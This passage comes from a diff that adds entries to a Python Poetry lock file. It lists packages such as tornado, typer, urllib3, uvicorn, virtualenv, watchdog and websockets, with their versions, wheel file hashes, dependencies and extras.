"sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece"}, + {file = "tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a"}, + {file = "tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085"}, + {file = "tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9"}, + {file = "tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5"}, + {file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585"}, + {file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1"}, + {file = "tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917"}, + {file = "tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9"}, + {file = "tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257"}, + {file = "tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54"}, + {file = "tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a"}, + {file = "tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897"}, + {file = "tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f"}, + {file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d"}, + {file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5"}, + {file = "tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd"}, + {file = "tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36"}, + {file = "tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd"}, + {file = "tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf"}, + {file = "tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac"}, + {file = "tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662"}, + {file = "tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853"}, + {file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15"}, + {file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba"}, + {file = "tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6"}, + {file = "tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7"}, + {file = "tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232"}, + {file = "tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4"}, + {file = "tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c"}, + {file = "tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d"}, + {file = "tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41"}, + {file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c"}, + {file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f"}, + {file = "tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8"}, + {file = "tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26"}, + {file = "tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396"}, + {file = "tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe"}, + {file = "tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f"}, +] + +[[package]] +name = "tornado" +version = "6.5.5" +description = "Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed." +optional = false +python-versions = ">=3.9" +groups = ["docs"] +files = [ + {file = "tornado-6.5.5-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:487dc9cc380e29f58c7ab88f9e27cdeef04b2140862e5076a66fb6bb68bb1bfa"}, + {file = "tornado-6.5.5-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:65a7f1d46d4bb41df1ac99f5fcb685fb25c7e61613742d5108b010975a9a6521"}, + {file = "tornado-6.5.5-cp39-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:e74c92e8e65086b338fd56333fb9a68b9f6f2fe7ad532645a290a464bcf46be5"}, + {file = "tornado-6.5.5-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:435319e9e340276428bbdb4e7fa732c2d399386d1de5686cb331ec8eee754f07"}, + {file = "tornado-6.5.5-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:3f54aa540bdbfee7b9eb268ead60e7d199de5021facd276819c193c0fb28ea4e"}, + {file = "tornado-6.5.5-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:36abed1754faeb80fbd6e64db2758091e1320f6bba74a4cf8c09cd18ccce8aca"}, + {file = "tornado-6.5.5-cp39-abi3-win32.whl", hash = "sha256:dd3eafaaeec1c7f2f8fdcd5f964e8907ad788fe8a5a32c4426fbbdda621223b7"}, + {file = "tornado-6.5.5-cp39-abi3-win_amd64.whl", hash = "sha256:6443a794ba961a9f619b1ae926a2e900ac20c34483eea67be4ed8f1e58d3ef7b"}, + {file = "tornado-6.5.5-cp39-abi3-win_arm64.whl", hash = "sha256:2c9a876e094109333f888539ddb2de4361743e5d21eece20688e3e351e4990a6"}, + {file = "tornado-6.5.5.tar.gz", hash = "sha256:192b8f3ea91bd7f1f50c06955416ed76c6b72f96779b962f07f911b91e8d30e9"}, +] + +[[package]] +name = "typer" +version = "0.24.2" +description = "Typer, build great CLIs. Easy to code. Based on Python type hints." +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "typer-0.24.2-py3-none-any.whl", hash = "sha256:b618bc3d721f9a8d30f3e05565be26416d06e9bcc29d49bc491dc26aba674fa8"}, + {file = "typer-0.24.2.tar.gz", hash = "sha256:ec070dcfca1408e85ee203c6365001e818c3b7fffe686fd07ff2d68095ca0480"}, +] + +[package.dependencies] +annotated-doc = ">=0.0.2" +click = ">=8.2.1" +rich = ">=12.3.0" +shellingham = ">=1.3.0" + +[[package]] +name = "typing-extensions" +version = "4.15.0" +description = "Backported and Experimental Type Hints for Python 3.9+" +optional = false +python-versions = ">=3.9" +groups = ["main", "dev", "docs"] +files = [ + {file = "typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548"}, + {file = "typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466"}, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +description = "Runtime typing introspection tools" +optional = false +python-versions = ">=3.9" +groups = ["main", "dev"] +files = [ + {file = "typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7"}, + {file = "typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464"}, +] + +[package.dependencies] +typing-extensions = ">=4.12.0" + +[[package]] +name = "unidecode" +version = "1.4.0" +description = "ASCII transliterations of Unicode text" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "Unidecode-1.4.0-py3-none-any.whl", hash = "sha256:c3c7606c27503ad8d501270406e345ddb480a7b5f38827eafe4fa82a137f0021"}, + {file = "Unidecode-1.4.0.tar.gz", hash = "sha256:ce35985008338b676573023acc382d62c264f307c8f7963733405add37ea2b23"}, +] + +[[package]] +name = "urllib3" +version = "2.6.3" +description = "HTTP library with thread-safe connection pooling, file post, and more." +optional = false +python-versions = ">=3.9" +groups = ["main", "dev", "docs"] +files = [ + {file = "urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4"}, + {file = "urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed"}, +] + +[package.extras] +brotli = ["brotli (>=1.2.0) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=1.2.0.0) ; platform_python_implementation != \"CPython\""] +h2 = ["h2 (>=4,<5)"] +socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] +zstd = ["backports-zstd (>=1.0.0) ; python_version < \"3.14\""] + +[[package]] +name = "uvicorn" +version = "0.39.0" +description = "The lightning-fast ASGI server." +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "uvicorn-0.39.0-py3-none-any.whl", hash = "sha256:7beec21bd2693562b386285b188a7963b06853c0d006302b3e4cfed950c9929a"}, + {file = "uvicorn-0.39.0.tar.gz", hash = "sha256:610512b19baa93423d2892d7823741f6d27717b642c8964000d7194dded19302"}, +] + +[package.dependencies] +click = ">=7.0" +h11 = ">=0.8" +typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} + +[package.extras] +standard = ["colorama (>=0.4) ; sys_platform == \"win32\"", "httptools (>=0.6.3)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.15.1) ; sys_platform != \"win32\" and sys_platform != \"cygwin\" and platform_python_implementation != \"PyPy\"", "watchfiles (>=0.13)", "websockets (>=10.4)"] + +[[package]] +name = "verspec" +version = "0.1.0" +description = "Flexible version handling" +optional = false +python-versions = "*" +groups = ["docs"] +files = [ + {file = "verspec-0.1.0-py3-none-any.whl", hash = "sha256:741877d5633cc9464c45a469ae2a31e801e6dbbaa85b9675d481cda100f11c31"}, + {file = "verspec-0.1.0.tar.gz", hash = "sha256:c4504ca697b2056cdb4bfa7121461f5a0e81809255b41c03dda4ba823637c01e"}, +] + +[package.extras] +test = ["coverage", "flake8 (>=3.7)", "mypy", "pretend", "pytest"] + +[[package]] +name = "virtualenv" +version = "21.2.4" +description = "Virtual Python Environment builder" +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "virtualenv-21.2.4-py3-none-any.whl", hash = "sha256:29d21e941795206138d0f22f4e45ff7050e5da6c6472299fb7103318763861ac"}, + {file = "virtualenv-21.2.4.tar.gz", hash = "sha256:b294ef68192638004d72524ce7ef303e9d0cf5a44c95ce2e54a7500a6381cada"}, +] + +[package.dependencies] +distlib = ">=0.3.7,<1" +filelock = {version = ">=3.24.2,<4", markers = "python_version >= \"3.10\""} +platformdirs = ">=3.9.1,<5" +python-discovery = ">=1.2.2" +typing-extensions = {version = ">=4.13.2", markers = "python_version < \"3.11\""} + +[[package]] +name = "watchdog" +version = "6.0.0" +description = "Filesystem events monitoring" +optional = false +python-versions = ">=3.9" +groups = ["docs"] +files = [ + {file = "watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26"}, + {file = "watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112"}, + {file = "watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3"}, + {file = "watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c"}, + {file = "watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2"}, + {file = "watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c"}, + {file = "watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948"}, + {file = "watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860"}, + {file = "watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0"}, + {file = "watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c"}, + {file = "watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134"}, + {file = "watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b"}, + {file = "watchdog-6.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:e6f0e77c9417e7cd62af82529b10563db3423625c5fce018430b249bf977f9e8"}, + {file = "watchdog-6.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:90c8e78f3b94014f7aaae121e6b909674df5b46ec24d6bebc45c44c56729af2a"}, + {file = "watchdog-6.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e7631a77ffb1f7d2eefa4445ebbee491c720a5661ddf6df3498ebecae5ed375c"}, + {file = "watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881"}, + {file = "watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11"}, + {file = "watchdog-6.0.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7a0e56874cfbc4b9b05c60c8a1926fedf56324bb08cfbc188969777940aef3aa"}, + {file = "watchdog-6.0.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:e6439e374fc012255b4ec786ae3c4bc838cd7309a540e5fe0952d03687d8804e"}, + {file = "watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13"}, + {file = "watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379"}, + {file = "watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e"}, + {file = "watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f"}, + {file = "watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26"}, + {file = "watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c"}, + {file = "watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2"}, + {file = "watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a"}, + {file = "watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680"}, + {file = "watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f"}, + {file = "watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282"}, +] + +[package.extras] +watchmedo = ["PyYAML (>=3.10)"] + +[[package]] +name = "websockets" +version = "15.0.1" +description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b"}, + {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205"}, + {file = "websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a"}, + {file = "websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e"}, + {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf"}, + {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb"}, + {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d"}, + {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9"}, + {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c"}, + {file = "websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256"}, + {file = "websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41"}, + {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431"}, + {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57"}, + {file = "websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905"}, + {file = "websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562"}, + {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792"}, + {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413"}, + {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8"}, + {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3"}, + {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf"}, + {file = "websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85"}, + {file = "websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065"}, + {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3"}, + {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665"}, + {file = "websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2"}, + {file = "websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215"}, + {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5"}, + {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65"}, + {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe"}, + {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4"}, + {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597"}, + {file = "websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9"}, + {file = "websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7"}, + {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931"}, + {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675"}, + {file = "websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151"}, + {file = "websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22"}, + {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f"}, + {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8"}, + {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375"}, + {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d"}, + {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4"}, + {file = "websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa"}, + {file = "websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561"}, + {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5f4c04ead5aed67c8a1a20491d54cdfba5884507a48dd798ecaf13c74c4489f5"}, + {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:abdc0c6c8c648b4805c5eacd131910d2a7f6455dfd3becab248ef108e89ab16a"}, + {file = "websockets-15.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a625e06551975f4b7ea7102bc43895b90742746797e2e14b70ed61c43a90f09b"}, + {file = "websockets-15.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d591f8de75824cbb7acad4e05d2d710484f15f29d4a915092675ad3456f11770"}, + {file = "websockets-15.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:47819cea040f31d670cc8d324bb6435c6f133b8c7a19ec3d61634e62f8d8f9eb"}, + {file = 